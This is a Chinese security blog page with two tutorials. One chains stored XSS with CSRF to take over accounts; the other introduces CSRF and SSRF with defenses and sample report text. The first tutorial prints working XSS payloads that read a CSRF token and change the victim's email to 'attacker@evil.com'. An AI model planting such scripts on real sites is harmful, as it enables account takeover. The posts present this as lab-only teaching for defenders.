CSRF on SoulJian小站

漏洞联动：XSS 打 CSRF 实现账号接管

Sat, 29 Aug 2026 13:00:00 +0800

写在前面：合法学习边界

本文的联动利用只在自建靶场进行。在真实站点注入脚本、窃取会话、触发敏感操作可能触犯法律。

一、漏洞原理：为什么 XSS 和 CSRF 能串联

XSS 与 CSRF 的成因不同，但配合起来就是“账号接管链”：

1
2


CSRF：浏览器会自动带 Cookie，服务端信任请求来源
XSS：能在受害者浏览器里执行任意脚本

把两者串联：

1
2
3
4


1. 存储型 XSS 在受害者浏览器执行
2. 脚本代替受害者发起敏感请求（改邮箱/改密/加管理员）
3. 浏览器自动带 Cookie → 服务端认为是用户本人操作
4. 攻击者拿到邮箱/密码重置 → 完全接管账号

关键点：XSS 解决了 CSRF 的“不能读响应、不能带自定义头”的短板，CSRF 又让 XSS 的后果从“弹窗”升级为“账号控制”。

二、影响与危害

1
2
3
4


账号完全接管（改密、绑定邮箱）
垂直提升（低权限 → 管理员）
批量受影响（存储型 XSS 打所有访问者）
配合钓鱼进一步扩大战果

风险等级：存储型 XSS + 敏感接口无 CSRF 防护时，属于严重。

三、利用 / 复现

场景

靶场里有一个支持富文本的留言/资料接口，存在存储型 XSS；同时改邮箱接口只依赖 Cookie，没有校验 CSRF Token。

第一步：确认存储型 XSS

1

<img src=x onerror="alert(document.domain)">

在留言里提交，其他用户打开页面能弹窗，说明存储型 XSS 成立。

第二步：窃取 CSRF Token（如果接口有 Token）

用脚本在受害者上下文里读取 Token 并调用敏感接口：

1
2
3
4
5
6
7
8
9


<script>
fetch('/api/csrf')
 .then(r => r.json())
 .then(d => fetch('/api/change-email', {
 method: 'POST',
 headers: { 'X-CSRF-Token': d.token },
 body: new URLSearchParams({ email: 'attacker@evil.com' })
 }));
</script>

第三步：无 Token 时直接触发

如果接口只认 Cookie，脚本更简单：

1
2
3


<script>
fetch('/api/change-email', {method:'POST', body:new URLSearchParams({email:'attacker@evil.com'})});
</script>

结果验证

1
2


受害者打开页面后，其邮箱被改成攻击者邮箱
攻击者用“忘记密码”接管账号

四、检测

1
2
3
4


日志中找 <script>、onerror、fetch、XMLHttpRequest 特征
同会话内出现“浏览页面 + 异常敏感接口调用”
改邮箱/改密接口的请求来源是页面而非正常表单
多次相同 XSS payload 提交

五、防御

1
2
3
4


输出编码 + CSP（限脚本来源）
敏感接口使用 CSRF Token + SameSite Cookie
HttpOnly 防 Cookie 被读，但 CSRF 仍要 Token
对富文本输入做白名单过滤

六、修复

1
2
3
4


修复 XSS：按上下文编码、启用 CSP、富文本白名单
修复 CSRF：敏感接口校验 Token + SameSite + 二次验证
关键操作（改密/改邮箱/加管理员）强制二次认证
修复后复测：注入脚本不执行、跨站请求被拒

七、小结

XSS 与 CSRF 联动说明：单看一个漏洞可能“中危”，串起来就是“严重”。渗透测试时要习惯把入口漏洞和后续动作连成链，防守方则要同时修掉链路上的每一环。

CSRF 与 SSRF 入门

Sat, 29 Aug 2026 04:55:00 +0800

写在前面：合法学习边界

本文讲解 CSRF 与 SSRF 的原理与防御。请不要对真实站点做绕过测试、内网探测或构造恶意请求。所有验证都必须在自建靶场、公司授权测试环境或明确书面授权的目标上进行。

一、CSRF：利用浏览器信任发起请求

CSRF（跨站请求伪造）的核心是：浏览器在用户已登录某个网站时，会把 Cookie 自动带上；攻击者诱使用户访问恶意页面，恶意页面在用户不知情的情况下向目标站点发起请求。

典型流程：

1
2
3
4
5


1. 用户登录目标站点，获得会话 Cookie
2. 用户访问恶意页面
3. 恶意页面发起一个指向目标站点的请求
4. 浏览器自动附带 Cookie
5. 目标站点误认为请求来自合法用户

CSRF 常见后果：

1
2
3
4
5


改密码
发评论
转账
修改资料
关闭安全设置

二、CSRF 防御

1. CSRF Token

服务端生成一次性 token，表单或请求头中必须携带正确 token 才接受请求。

给 Cookie 设置 SameSite=Lax 或 Strict，限制跨站请求携带 Cookie。

3. Origin / Referer 校验

服务端检查请求来源是否可信。

4. 重要操作二次确认

例如转账、改密、删除等动作要求再次输入密码或验证码。

影响与危害

CSRF 与 SSRF 造成的影响：

1
2


CSRF：在用户不知情下执行敏感操作（改密、转账、删数据）
SSRF：服务器成为跳板，访问内网/云元数据/扫描内部端口

SSRF 常被用来打内网和云平台（如 169.254.169.254 元数据）。风险等级：中到高。

三、SSRF：让服务器替你访问别的地址

SSRF（服务端请求伪造）的核心是：服务器根据用户提供的 URL 发起请求，结果访问了内部地址或其他敏感目标。

常见场景：

1
2
3
4
5


URL 预览
截图服务
Webhook 回调
图片代理
文件下载

SSRF 可能访问：

1
2
3
4


内网服务
元数据接口
Redis/MySQL 等本地服务
内部管理页面

四、SSRF 防御

1. 严格白名单

只允许访问预期域名或 IP 范围。

2. 禁止内网地址

拒绝：

1
2
3
4
5
6


127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
0.0.0.0

3. 禁用自动重定向

防止通过 302 跳转到内网地址。

4. 超时与频率限制

避免成为请求放大或探测跳板。

5. 输出与日志审计

记录被访问的 URL、响应状态和调用来源。

修复

1
2
3


CSRF：校验 Referer/Origin + 使用 CSRF Token + SameSite Cookie
SSRF：服务端 URL 白名单、禁止访问内网地址、禁用重定向跟随、对响应做过滤
修复后复测：跨站请求被拦截、内网访问被阻断

五、CSRF 与 SSRF 在报告中的写法

好的报告要写出触发条件、影响和修复建议。

CSRF 示例：

1
2
3


发现：修改资料接口未校验 CSRF Token，已登录用户在恶意页面可被诱导修改资料。
风险：可能导致账户设置被篡改。
建议：增加 CSRF Token；启用 SameSite；关键操作二次验证。

SSRF 示例：

1
2
3


发现：图片预览接口允许访问任意 URL，可访问内网服务地址。
风险：可能导致内网探测、敏感信息泄露或横向移动。
建议：限制可访问域名；禁止内网地址；关闭自动重定向；增加日志告警。

六、小结

CSRF 和 SSRF 都是“服务器信任了什么不该信任的东西”。理解请求来源、Cookie 携带机制和服务端转发边界，是看懂这两类漏洞的关键。后续做日志分析、WAF 和渗透测试时，它们都会反复出现。

CSRF on SoulJian小站

漏洞联动：XSS 打 CSRF 实现账号接管

写在前面：合法学习边界

一、漏洞原理：为什么 XSS 和 CSRF 能串联

二、影响与危害

三、利用 / 复现

场景

第一步：确认存储型 XSS

第二步：窃取 CSRF Token（如果接口有 Token）

第三步：无 Token 时直接触发

结果验证

四、检测

五、防御

六、修复

七、小结

CSRF 与 SSRF 入门

写在前面：合法学习边界

一、CSRF：利用浏览器信任发起请求

二、CSRF 防御

1. CSRF Token

2. SameSite Cookie

3. Origin / Referer 校验

4. 重要操作二次确认

影响与危害

三、SSRF：让服务器替你访问别的地址

四、SSRF 防御

1. 严格白名单

2. 禁止内网地址

3. 禁用自动重定向

4. 超时与频率限制

5. 输出与日志审计

修复

五、CSRF 与 SSRF 在报告中的写法

六、小结